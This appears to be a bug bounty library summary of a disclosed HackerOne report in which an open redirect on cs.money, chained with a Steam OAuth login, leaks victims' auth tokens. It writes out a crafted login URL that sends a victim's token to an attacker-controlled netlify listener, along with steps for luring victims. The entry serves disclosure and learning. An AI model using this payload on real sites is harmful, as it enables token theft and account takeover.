# [cs.money] Open Redirect Leads to Account Takeover

Open redirect via triple-slash on cs.money chained with Steam OAuth login leaks victim auth token to attacker, enabling full account takeover.

- Payout: hidden
- Severity: medium
- Program: CS Money
- Found by: abdilahrf_
- Disclosed: 2020-09-30
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/905607
- Library page: https://bugbountylibrary.com/r/h1%3A905607
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:medium tech:oauth technique:chained vuln:account-takeover vuln:auth-bypass vuln:open-redirect

**Target:** OAuth login endpoint auth.dota.trade with redirectUrl/callbackUrl params
**Root cause:** The redirectUrl/callbackUrl parameters accept a triple-slash payload (https://cs.money///attacker) that bypasses redirect validation, and the OAuth flow appends the auth token to the redirect URL, leaking it to the attacker's domain.
**Steps:**
1. Craft payload `https://cs.money///google.com` to confirm open redirect on cs.money.
2. Build login URL `https://auth.dota.trade/login?redirectUrl=https://cs.money///loving-turing-29a494.netlify.app%2523&callbackUrl=https://cs.money///loving-turing-29a494.netlify.app%2523`.
3. Send victim the login URL; victim logs in via Steam as normal.
4. App redirects to `https://loving-turing-29a494.netlify.app/#?token=<victim_token>&redirectUrl=...`, delivering token to attacker listener.
5. Attacker uses token to take over victim account.
**How found:** Researcher tested the triple-slash payload `https://cs.money///google.com` on the domain to confirm an open redirect, then noticed the sign-in-through-Steam OAuth flow passes redirectUrl/callbackUrl and appends the token to the redirect target, chaining the two.
**Exploitation:** Attacker hosts a listener page, crafts an OAuth login URL with the triple-slash open-redirect payload in redirectUrl/callbackUrl, and lures the victim to log in via Steam. After authentication the app redirects to the attacker's domain with the victim's token in the URL fragment, which the attacker captures and uses to fully control the account, change trade-offer links, and redeem all items.
**Escalation:** Chained open redirect with OAuth token leakage to escalate from redirect to full account takeover and item theft.
**Insight:** Triple-slash (`host///target`) bypasses naive redirect allowlists that only check the host prefix; when an OAuth flow appends tokens to a redirect URL, any open redirect on the callback host becomes token theft.